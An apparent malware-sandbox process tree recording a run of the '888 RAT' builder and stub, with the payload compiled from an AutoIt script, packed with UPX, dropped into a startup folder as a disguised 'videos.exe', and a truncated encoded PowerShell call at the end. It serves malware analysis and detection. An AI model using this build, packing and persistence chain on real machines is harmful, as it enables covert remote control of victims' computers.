C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=174 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6500 /prefetch:12⤵PID:5540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=175 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7668 /prefetch:12⤵PID:5600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=176 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6696 /prefetch:12⤵PID:6060
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=177 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7892 /prefetch:12⤵PID:3376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=178 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7260 /prefetch:12⤵PID:5208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=179 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2876 /prefetch:12⤵PID:5800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6268 /prefetch:82⤵PID:4452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5780 /prefetch:82⤵PID:364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4660 /prefetch:82⤵PID:3316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6780 /prefetch:82⤵PID:5136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=184 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵PID:5308
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:4836
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f4 0x41c1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4232
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"1⤵
- Drops file in Program Files directory
PID:1580 -
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={5126dc5f-03a9-4b26-9d63-b1977176eb35} --system2⤵
- Executes dropped EXE
PID:4892
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
PID:388
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4708
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
PID:3736
-
C:\Users\Admin\Desktop\888 RAT Private\888 RAT Private .exe"C:\Users\Admin\Desktop\888 RAT Private\888 RAT Private .exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3148 -
C:\Users\Admin\AppData\Local\Temp\flagx.exe"C:\Users\Admin\AppData\Local\Temp\flagx.exe"2⤵
- Executes dropped EXE
PID:4604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Obfuscator.exe Server.au32⤵PID:208
-
C:\Users\Admin\AppData\Local\Temp\Obfuscator.exeObfuscator.exe Server.au33⤵
- Executes dropped EXE
PID:1796
-
-
-
C:\Users\Admin\AppData\Local\Temp\Aut2exe.exeC:\Users\Admin\AppData\Local\Temp\Aut2exe.exe /in C:\Users\Admin\AppData\Local\Temp/Server.au3 /out C:\Users\Admin\AppData\Local\Temp/UUFVWP.exe /icon C:\Users\Admin\AppData\Local\Temp\ssc.ico /comp 2 /pack /Unicode2⤵
- Executes dropped EXE
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\upx.exe"C:\Users\Admin\AppData\Local\Temp\upx.exe" --best --compress-icons=0 "C:\Users\Admin\AppData\Local\Temp\UUFVWP.exe"3⤵
- Executes dropped EXE
PID:2120
-
-
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:308 -
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
PID:4168
-
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
PID:3480
-
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
PID:4392
-
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
PID:1188
-
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
PID:1160
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4544
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""E:\properties.bat" "1⤵
- Enumerates connected drives
PID:316 -
C:\Windows\system32\tar.exetar -xvf "files.zip" -C "C:\Users\Admin\AppData\Roaming"2⤵PID:1556
-
-
C:\Windows\system32\cscript.execscript //B //E:vbscript data.ini "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" "C:\Users\Admin\AppData\Roaming\" videos "S0uve3"2⤵
- Drops startup file
- Enumerates connected drives
PID:3636
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exevideos.exe "DrUCN"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""E:\properties.bat" "1⤵
- Enumerates connected drives
PID:4500 -
C:\Windows\system32\tar.exetar -xvf "files.zip" -C "C:\Users\Admin\AppData\Roaming"2⤵PID:2820
-
-
C:\Windows\system32\cscript.execscript //B //E:vbscript data.ini "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" "C:\Users\Admin\AppData\Roaming\" videos "S0uve3"2⤵
- Drops startup file
- Enumerates connected drives
PID:1796
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exevideos.exe "DrUCN"2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4924 -
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ffbaf2fecc8,0x7ffbaf2fecd8,0x7ffbaf2fece83⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4788
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:23⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4960
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2000 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:83⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4440
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=2164 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:83⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2356
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --nwjs --extension-process --display-capture-permissions-policy-allowed --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\videos\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2948 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:13⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
PID:3828
-
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3300 -
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4164 -
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x178,0x17c,0x180,0x14c,0x188,0x7ff69de0ef08,0x7ff69de0ef18,0x7ff69de0ef283⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1844
-
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=64 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1940
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=2136 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3556
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2076 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4436
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --nwjs --extension-process --display-capture-permissions-policy-allowed --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\videos\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3188 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:12⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
PID:3508
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3648 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
PID:5192
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3820 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
PID:5264
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=516 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
PID:5608
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3844 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
PID:5620
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:22⤵
- Executes dropped EXE
PID:5472
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2284 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
PID:3608
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:1548 -
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x220,0x224,0x228,0xc0,0x22c,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4784
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1824 --field-trial-handle=1952,i,15446318293181689136,7585244325571488985,131072 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4068
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2024 --field-trial-handle=1952,i,15446318293181689136,7585244325571488985,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:976
-
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6076 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:3672
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6076 -s 2722⤵
- Program crash
PID:548
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6076 -ip 60761⤵PID:5168
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Enumerates system info in registry
PID:1328 -
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x220,0x224,0x228,0x1f4,0x22c,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
PID:4916
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1812,i,14748458452921672405,14494028064437204837,131072 /prefetch:22⤵
- Executes dropped EXE
PID:924
-
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=1964 --field-trial-handle=1812,i,14748458452921672405,14494028064437204837,131072 /prefetch:82⤵
- Executes dropped EXE
PID:4076
-
-
C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"1⤵
- Executes dropped EXE
PID:3724
-
C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"1⤵
- Executes dropped EXE
PID:1560
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1456 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:1420
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 1362⤵
- Program crash
PID:5428
-
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4148 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:3132
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 1362⤵
- Program crash
PID:632
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1456 -ip 14561⤵PID:3396
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4148 -ip 41481⤵PID:5404
-
C:\Users\Admin\Desktop\888Rat\Stub\Stub.exe"C:\Users\Admin\Desktop\888Rat\Stub\Stub.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
PID:4640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand 